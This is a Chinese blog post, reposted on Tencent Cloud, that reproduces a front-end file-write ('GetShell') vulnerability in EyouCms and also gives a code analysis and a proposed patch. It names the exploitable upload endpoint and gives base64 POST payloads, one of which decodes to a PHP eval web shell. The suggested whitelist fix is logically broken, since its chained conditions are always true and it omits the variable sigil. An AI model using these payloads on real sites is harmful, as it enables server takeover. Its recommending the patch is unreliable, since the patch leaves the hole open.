前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >EyouCms前台GetShell漏洞复现

EyouCms前台GetShell漏洞复现

作者头像
字节脉搏实验室
发布2020-09-01 15:14:53
发布2020-09-01 15:14:53
7.8K00
代码可运行
举报
运行总次数:0
代码可运行

文章源自【字节脉搏社区】-字节脉搏实验室

作者-Beginners

0x01 EyouCms前台GetShell漏洞复现

EyouCms是一个自由和开放源码的内容管理系统,它是一个可以独立使用的内容发布系统(CMS)

0x02 漏洞复现:

利用路径:

/index.php/api/Uploadify/preview

POST数据构造:

data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==

直接访问:/preview/文件名.php

测试写入Shell:

data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs=

0x03 代码分析:

漏洞文件:\application\api\controller\Uploadify.php

漏洞触发函数:preview()

获取POST构造输入的数据,在利用preg_match()获取其中文件后缀和Base64编码数据赋值于$matches;

把获取的Base64编码数据matches[2]和文件后缀matches[1]拼接为文件名

判断文件是否存在,若不存在则Base64进行base64解码后通过file_put_contents()写入文件中后输出filename(文件名);到/preview/目录下;

0x04 漏洞修复:

使用白名单判断文件名后缀;

在Uploadify.php中213行到214行的代码修改为如下:

代码语言:javascript
代码运行次数:0
运行
复制
if (type !== 'jpeg' || type !=='png' || type !=='gif' || type!=='jpg') {
 exit();
}

0x05 Cms下载地址:

下载地址:

https://share.weiyun.com/DGjtKLuR

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2020-08-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 字节脉搏实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档